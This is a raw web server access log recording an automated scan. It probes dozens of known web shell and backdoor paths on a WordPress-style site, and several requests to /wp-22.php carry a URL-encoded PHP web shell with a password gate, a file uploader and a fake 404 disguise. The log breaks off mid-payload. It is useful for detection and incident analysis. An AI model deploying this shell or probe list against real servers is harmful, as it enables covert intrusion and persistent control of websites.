Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:51 +0530] "GET /wp-includes/fx.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:52 +0530] "GET /777.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:53 +0530] "GET /beence.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:54 +0530] "GET /wp-content/themes/astra/content-index.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:55 +0530] "GET /rahma.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:58 +0530] "GET /alfashell.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:02 +0530] "GET /V5.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:03 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:04 +0530] "GET /wp-includes/pomo/radiowso.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:05 +0530] "GET /kk.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:05 +0530] "GET /wp-admin/css/index.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:07 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:08 +0530] "GET /images/about.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:08 +0530] "GET /wp-content/languages/sidwso.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:10 +0530] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 302 272 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:10 +0530] "GET /kn.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:10 +0530] "GET /wp-admin/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:10 +0530] "GET /wp-includes/class-wp-query.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:11 +0530] "GET /wp-content/think.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:11 +0530] "GET /fox.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:12 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:12 +0530] "GET /templates/beez/index.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:12 +0530] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:12 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:13 +0530] "GET /3.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:13 +0530] "GET /wp-includes/pomo/repair.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:14 +0530] "GET /0byte.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:14 +0530] "GET /templates/ja_purity/index.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:15 +0530] "GET /xhell.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:15 +0530] "GET /wp-includes/pomo/ex.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:16 +0530] "GET /098.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:16 +0530] "GET /wp-admin/fx.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:16 +0530] "GET /ok.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:16 +0530] "GET /alexusmailer%202.0.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:17 +0530] "GET /3index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:17 +0530] "GET /wp-admin/css/fw.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:18 +0530] "GET /wp-blog-post.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:18 +0530] "GET /sh.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /edit-form.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-content/about.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /alwso.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-admin/includes/maint/wp-cron.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /baxa1.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /alfa.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-admin/maint/fw.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /Uploader.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-includes/images/media/local1.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:19 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-content/wp.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /1xleet.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /xleet-shell.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /p.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /ff.php?pass=shell HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-signin.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:51:20 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3